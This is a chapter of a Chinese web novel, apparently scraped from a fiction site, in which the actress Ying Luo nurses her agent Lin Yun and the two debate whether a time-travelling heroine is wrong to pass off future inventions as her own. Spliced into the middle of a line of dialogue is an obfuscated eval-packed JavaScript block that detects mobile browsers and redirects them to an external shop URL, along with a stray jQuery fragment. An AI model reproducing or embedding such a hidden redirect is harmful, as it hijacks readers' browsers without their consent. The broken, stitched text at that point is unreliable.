第二天,应珞睡到被闹钟吵醒才起床。
她揉了揉眼,感觉身上油腻腻的,去洗了个澡才清爽些。
林蕴和她约好今天早上九点要来见她,给她送她接下来要争取的一部戏的纸质版的剧本。
昨天晚上林蕴给她发了电子版,是一部女主穿越到古代的剧,叫《帝位搭罗裙》,跟她的经历竟有异曲同工之妙。
而她要试的是当中的女主。
居然是女主角吗?
从配角到女三到女二,这么快就要是女主了吗?
即使现在八字还没一撇,应珞已经幻想出来自己凭借这部剧直接拿到最佳女主角站在领奖台上的画面了。
她想着想着把头扎进枕头里,笑出声来。
颅内高ch过后,焦虑攀了上来。
这几次的大起大落,让她的头晕晕的。
现在安宁的一切是那么的不真实、那么梦幻。
时间一分一秒地过去,林蕴还是没来,连个消息也没有发给她。
她发消息问了几次,都没有得到回答。
不会是昨晚喝多了还没醒吧。
她正犹豫着要不要打个语音电话过去,就看到微信名字那里变成了“对方正在输入中……”。
她等着,等了差不多三分钟,林蕴才发了消息过来:下午四点。
就四个字,很简短,没有原因。
四个字要打三分钟吗?
林蕴平常做事周到、考虑周全,临时无故改时间不像她的作风。
窗外的天阴沉沉的,好像要下雨。
一种不太好的预感涌上应珞的心头。
她想起昨天林蕴帮她喝的那两杯酒。
不会不舒服了吧?
她打电话给林蕴,打了好久才被接通。
“喂……”林蕴细若蚊吟的声音通过手机传过来。
“你不舒服吗?”
“没事。”林蕴的声音听起来干巴巴的。
“你在哪儿?我去找你。”应珞等了很久也没等到回话,“能听到吗?你还没好吗?”
又过了一会儿,林蕴才把定位发过来,应珞立刻全副武装打了车过去。
她到林蕴家门口的时候,发现门是虚掩着的。
现在已经11月了,加上今天要下雨,天气很冷,但是林蕴的屋子里却很暖和,空调温度开得很高。
“林蕴?”
应珞把包随手放在进门处的柜子上,手里攥着来的路上买的药的袋子。
她本来想换个拖鞋,结果林蕴家里一双多余的拖鞋都没有,好在地板很干净,索性她就直接脱了鞋踩着地板进屋了。
她刚走没两步就看见林蕴整个人蜷缩在沙发上,裹着一床厚厚的棉被。
看起来不像因为是喝酒难受的。
她轻手轻脚地走过去,发现林蕴出了满脑门子的汗。
“要不要把被子掀开一点?你感冒了吗?”应珞前脚刚问完,后脚目光就落在茶几上的药瓶上。
是止痛药。
“原来是肚子不舒服。”
应珞从小身体素质很好,在父母的照顾下还注意身体的保养,从来没有痛经过,但没吃过猪肉,还没见过猪跑吗,她照顾过痛经的女生,这方面的经验她还是有的。
“有暖宝宝吗?”
林蕴摇了摇头。
应珞先在外卖平台上下了单,然后下楼就近去买了瓶瓶子质量好的矿泉水回来,烧了热水灌进去,裹上块毛巾塞到林蕴的被子里。
被子里面还卷着一条薄薄的毛毯,又湿又热又潮。
等止痛药的药效上来就好了,她想。
她还记得之前班上的女生基本上半天就差不多了。
她正准备去厨房里面琢磨着搞个什么红糖姜汤,一只脚刚迈进厨房,就看到原本蜷缩在沙发上的林蕴突然坐了起来,一路奔向卫生间,吐了。
“要不我送你去医院吧。”不知道是屋子里面太热了还是着急,应珞也出了一脑门子汗。
她见过痛经的女生,没见过这么严重的。
现在都已经十二点了,她和林蕴约的九点,也就是说林蕴最少已经痛了三个小时都没有一点缓解。
她看着林蕴的脸由黄色变成白色,嘴干的起皮,身上的睡衣已经湿透了,黏在身上,头发也乱糟糟的,早上准备出门时脸上化的妆也有些花了。
“我给你拿外套。”应珞说着就去林蕴的衣帽间找衣服。
林蕴的衣帽间很大。
分成了风格迥异的两大块:一块是她们两个初次见面时候的可爱风还有青春又活力的风格;一块是死气沉沉的灰色和黑色的套装,其中掺杂着一两件白色的衬衫。
应珞随手拿了件黑色的大衣披到林蕴的身上,扶她站起来,然后一只手搂住她,一只手拿起包挂身上,“我刚查过了,最近的医院是德心,我带你去。”
话音刚落,原本已经抬脚准备踏出家门口的林蕴停住了,瘦削发黄的手扒住门框。
“怎么了?”
“我还可以,算了吧。”
“不行!这要等到什么时候,一会儿就到医院了,我陪你。”应珞说着,手下用力。
可林蕴不晓得哪里来的力气,手好像钉子钉在了门上一样。
应珞看着眼前固执的人,实在没了办法,脚下跺着小碎步,唉声叹气,最后还是由她去了,把人又送回了沙发上。
她腹诽道:早知道就叫上赵芸了,那丫头平常胡吃海塞的,到关键时刻是有股子蛮力的。
直到下午四点,应珞才感觉林蕴的呼吸逐渐平稳,眉头松了下来。
“剧本看怎么样了?”
应珞没注意到林蕴什么时候睁开的眼,“嗯?”
她没想到林蕴刚好,第一句话就是问她剧本看怎么样。
怎么有种被老师检查作业的感觉?
应珞下意识坐直了身体,拿稳了她方才从门口处找到的林蕴打印的剧本。
她刚刚看了一部分之后,思绪就不在剧本上面了,导致三四个小时压根没看多少。
“看了多少了?”
应珞见林蕴又问,才支支吾吾地交代道:“我……我看到一半,有一个问题。”
“怎么了?这个剧是根据小说改编的,小说的情节大部分都得以保留,只有部分情节进行了处理,我审过,感觉改得还不错。”
应珞长出了一口气,一只手攥拳撑着下巴,摆了一个“思想者”的pose,用尽量诙谐的语气说:“我发现了一个很深奥的问题。”
“什么?”
“这本书的女主……算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599823|204261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不算掠夺者?”
“掠夺者?”
“对,她把琉璃制作、□□、种植技术等当作自己的成果说出来,不就是掠夺了别人的成果吗?”
林蕴听到应珞的话,解开身上的被子,拿过应珞手里的剧本。
应珞在方才林蕴没有力气睡着了之后,先问了问赵芸这个问题。
赵芸给她的回答是:“那不然怎么样?我的就是我的,不然怎么就我知道别人就不知道。”
赵芸给她发语音的时候,嘴里正吃着薯片,那一包薯片好像要被吃没了,她听见赵芸在摇自己手里的包装袋,方便后续一饮而尽。
隔着屏幕,她已经能够想象到赵芸的手指甲上面还泛着油光……
林蕴拿回剧本说:“但是她穿到的是一个架空世界啊。”
“有什么区别吗?”
“你怎么能够确定那个东西未来就会存在,严格来讲,被告还是个不一定会存在的人。”
“而且你看。”林蕴翻到后面的一页说,“主角是为了救人。”
林蕴简短的几句话点醒了应珞。
顾言沉那天的话意思很明确。
他想靠应珞买“彩票”,会中奖的“彩票”。
“买彩票”并非就意味着一定会改变原著的剧情,她其实是有别的选择的。
都说艺术来源于现实,这本小说也是在当时的社会背景基础上改编的,距离她穿过来的时候已经过去两三年了。
所以对于她来说,她也是穿到了过去。
那么社会的发展大概率也会有相同之处。
这虽不会是百分之百,却也留了可操作的空间给她。
只是她一直在纠结她自己应不应该利用现实世界的发明创造来在这个世界获取利益。
她看的小说中的主角似乎都是这么做的,她之前也做过这样的美梦。
直到后来她经历了伤痛,又成为了“元珞”。这让她一直小心翼翼,如履薄冰,也让她一直钻在自己的牛角尖里。
她害怕她的行为会伤害到原本拥有那个东西的人。
却忘了,
未来之所以是未来,
是因为它是无法预知的。
就像剧本中百姓饱受饥饿,外敌入侵,是实打实存在的,那些东西原本是可以造福他人的,她难不成要主角袖手旁观吗?
“赵芸说的有一定道理,在这种情况下,你哪怕拿了它,也无法肯定就侵犯了他人权益。”林蕴沉思了两秒又说,“而且主角后面把自己获得的赏赐大部分都分给了天下百姓,不过……你好像还没有看到。”
应珞把剧本又拿了回去,后面的剧情发展果然跟林蕴说的一样。
“这么想的话,就算是她自己全部都拿了,又何尝不可呢?毕竟不是每个人都是四川那里的大佛,清心寡欲到不收一金一眼。”应珞说着食指点了点下巴。
四川?
应珞看着剧本,林蕴看着她,直到眼睛干涩。
“想喝口蘑冬瓜汤吗?”林蕴站起身来,径直向厨房走去。
“你再休息会儿吧。”
“我没事了。”
林蕴从冰箱里拿出食材放到案板上,然后拿起刀用力向冬瓜砍去。
天空,一片漆黑。
路灯下,雨雪交加。